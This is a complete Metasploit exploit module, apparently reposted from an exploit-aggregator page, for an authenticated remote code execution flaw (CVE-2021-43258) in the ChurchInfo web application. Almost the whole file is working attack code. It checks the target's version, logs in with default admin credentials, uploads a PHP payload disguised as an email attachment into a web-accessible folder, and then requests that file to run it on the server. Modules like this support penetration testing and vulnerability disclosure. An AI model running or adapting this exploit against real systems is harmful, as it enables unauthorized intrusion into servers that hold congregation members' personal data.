Share
## https://sploitus.com/exploit?id=PACKETSTORM:169968
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',  
'Description' => %q{  
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.  
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the  
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and  
then browsing to the location of the uploaded PHP file on the web server, arbitrary code  
execution as the web daemon user (e.g. www-data) can be achieved.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'm4lwhere <m4lwhere@protonmail.com>' ],  
'References' => [  
['URL', 'http://www.churchdb.org/'],  
['URL', 'http://sourceforge.net/projects/churchinfo/'],  
['CVE', '2021-43258']  
],  
'Platform' => 'php',  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic Targeting', { 'auto' => true }]],  
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => ['CRASH_SAFE'],  
'Reliability' => ['REPEATABLE_SESSION'],  
'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']  
}  
)  
)  
# Set the email subject and message if interested  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),  
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),  
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),  
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])  
]  
)  
end  
  
def check  
if datastore['SSL'] == true  
proto_var = 'https'  
else  
proto_var = 'http'  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'Default.php'),  
'method' => 'GET',  
'vars_get' => {  
'Proto' => proto_var,  
'Path' => target_uri.path  
}  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to a request to its login page!')  
end  
  
# Check if page title is the one that ChurchInfo uses for its login page.  
if res.body.match(%r{<title>ChurchInfo: Login</title>})  
print_good('Target is ChurchInfo!')  
else  
return CheckCode::Safe('Target is not running ChurchInfo!')  
end  
  
# Check what version the target is running using the upgrade pages.  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),  
'method' => 'GET'  
)  
  
if res && (res.code == 500 || res.code == 200)  
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),  
'method' => 'GET'  
)  
  
if res && (res.code == 500 || res.code == 200)  
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),  
'method' => 'GET'  
)  
  
if res && (res.code == 500 || res.code == 200)  
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')  
else  
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')  
end  
end  
  
#  
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.  
# Adding items to the cart is required for the server-side code to accept the upload.  
#  
def exploit  
# Need to grab the PHP session cookie value first to pass to application  
vprint_status('Gathering PHP session cookie')  
if datastore['SSL'] == true  
vprint_status('SSL is true, changing protocol to HTTPS')  
proto_var = 'https'  
else  
vprint_status('SSL is false, leaving protocol as HTTP')  
proto_var = 'http'  
end  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'Default.php'),  
'method' => 'GET',  
'vars_get' => {  
'Proto' => proto_var,  
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']  
},  
'keep_cookies' => true  
)  
  
# Ensure we get a 200 from the application login page  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")  
end  
  
# Check that we actually are targeting a ChurchInfo server.  
unless res.body.match(%r{<title>ChurchInfo: Login</title>})  
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')  
end  
  
# Grab our assigned session cookie  
cookie = res.get_cookies  
vprint_good("PHP session cookie is #{cookie}")  
vprint_status('Attempting login')  
  
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'Default.php'),  
'method' => 'POST',  
'vars_post' => {  
'User' => datastore['USERNAME'],  
'Password' => datastore['PASSWORD'],  
'sURLPath' => datastore['TARGETURI']  
}  
)  
  
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.  
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'  
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")  
end  
vprint_good("Location header is #{res.headers['Location']}")  
print_good("Logged into application as #{datastore['USERNAME']}")  
vprint_status('Attempting exploit')  
  
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.  
print_status('Navigating to add items to cart')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),  
'method' => 'GET',  
'vars_get' => {  
'mode' => 'person',  
'AddAllToCart' => 'Add+to+Cart'  
}  
)  
  
# Need to check that items were successfully added to the cart  
# Here we're looking through html for the version string, similar to:  
# Items in Cart: 2  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")  
end  
cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)  
unless cart_items  
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")  
end  
if cart_items['cart'].to_i < 1  
print_error('No items in cart detected')  
fail_with(Failure::UnexpectedReply,  
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')  
end  
print_good("Items in Cart: #{cart_items}")  
  
# Uploading exploit as temporary email attachment  
print_good('Uploading exploit via temp email attachment')  
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'  
vprint_status("Payload name is #{payload_name}")  
  
# Create the POST payload with required parameters to be parsed by the server  
post_data = Rex::MIME::Message.new  
post_data.add_part(payload.encoded, 'application/octet-stream', nil,  
"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")  
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')  
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')  
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')  
file = post_data.to_s  
file.strip!  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'CartView.php'),  
'method' => 'POST',  
'data' => file,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
)  
  
# Ensure that we get a 200 and the intended payload was  
# successfully uploaded and attached to the draft email.  
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")  
fail_with(Failure::Unknown, 'Failed to upload the payload.')  
end  
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")  
  
# Have our payload deleted after we exploit  
register_file_for_cleanup(payload_name)  
  
# Make a GET request to the PHP file that was uploaded to execute it on the target server.  
print_good('Executing payload with GET request')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),  
'method' => 'GET'  
)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end